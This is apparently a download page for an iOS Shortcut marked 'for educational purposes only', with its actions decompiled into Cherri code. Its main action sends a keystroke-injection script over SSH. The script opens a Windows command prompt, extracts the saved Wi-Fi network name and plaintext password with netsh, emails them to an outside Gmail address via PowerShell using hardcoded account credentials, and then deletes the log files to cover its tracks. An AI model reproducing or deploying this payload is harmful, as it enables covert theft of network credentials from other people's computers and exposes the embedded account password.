Scan with your iPhone to install
FOR EDUCATIONAL PURPOSES ONLY
What's New
Version 1.0
First release
What it does
2 actions-
Show Alert
-
Run Script Over SSH
View as code
Every action of this Shortcut written out as Cherri, a programming language for Shortcuts. Great for learning how it works.
#include 'actions/network'
#define color red
confirm("Do you want to continue? You might want to reconsider! (Not responsible for any damage that occurs to your or others property, you herby agree that you are responsible for all damages by using this shortcut). Copyright qwertyuiop 2022\n")
runSSHScript("DEFAULT_DELAY 10 \nREM delays 100ms between each subsequent command sequence\n\nDELAY 2000\nWINDOWS d\nREM --> Open cmd\nWINDOWS r\nDELAY 500\nSTRING cmd\nENTER\nDELAY 1000\nREM --> Change directory (you can change this to something else to make less visible)\nSTRING cd \"%USERPROFILE%\Desktop\"\nENTER\nREM --> Get SSID\nSTRING for /f \"tokens=2 delims=: \" %A in ('netsh wlan show interface ^| findstr \"SSID\" ^| findstr /v \"B\"') do set SSID=%A\nENTER\nREM --> Get network type\nSTRING netsh wlan show profiles %SSID% | findstr \"Network type\" | findstr /v \"broadcast\" | findstr /v \"Radio\">Temp.txt\nENTER\nSTRING for /f \"tokens=3 delims=: \" %A in ('findstr \"Network type\" Temp.txt') do set NETTYPE=%A\nENTER\nREM --> Get authentication\nSTRING netsh wlan show profiles %SSID% | findstr \"Authentication\">Temp.txt\nENTER\nSTRING for /f \"tokens=2 delims=: \" %A in ('findstr \"Authentication\" Temp.txt') do set AUTH=%A\nENTER\nREM --> Get key\nSTRING netsh wlan show profiles %SSID% key=clear | findstr \"Key Content\">Temp.txt\nENTER\nSTRING for /f \"tokens=3 delims=: \" %A in ('findstr \"Key Content\" Temp.txt') do set KEY=%A\nENTER\nREM --> Delete Temp.txt\nSTRING del Temp.txt\nENTER\nREM --> Create Log.txt\nSTRING echo SSID: %SSID%>>Log.txt & echo Network type: %NETTYPE%>>Log.txt & echo Authentication: %AUTH%>>Log.txt & echo Password: %KEY%>>Log.txt\nENTER\nREM --> Mail Log.txt\nSTRING powershell\nENTER\nSTRING $SMTPServer = 'smtp.gmail.com'\nENTER\nSTRING $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)\nENTER\nSTRING $SMTPInfo.EnableSsl = $true\nENTER\nSTRING $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('[email protected]', 'hudson17');\nENTER\nSTRING $ReportEmail = New-Object System.Net.Mail.MailMessage\nENTER\nSTRING $ReportEmail.From = '[email protected]'\nENTER\nSTRING $ReportEmail.To.Add('[email protected]')\nENTER\nSTRING $ReportEmail.Subject = 'WiFi'\nENTER\nSTRING $ReportEmail.Body = 'The log is attached!' \nENTER\nSTRING $ReportEmail.Attachments.Add('Log.txt')\nENTER\nSTRING $SMTPInfo.Send($ReportEmail)\nENTER\nSTRING exit\nENTER\nREM --> Delete Log.txt and exit\nSTRING del Log.txt & exit\nENTER", nil, Ask, "", Ask, "", Ask)
Open in Cherri Playground
Decompiled with cherri 2.3.0 (GPL-2.0). May need small fixes before it compiles.
Ratings & Reviews
Write a Review–
out of 5
★★★★★
★★★★
★★★
★★
★
0 ratings
No reviews yet. Be the first to share what you think!
Advertisement
More by qwertyuio
You Might Also Like
Advertisement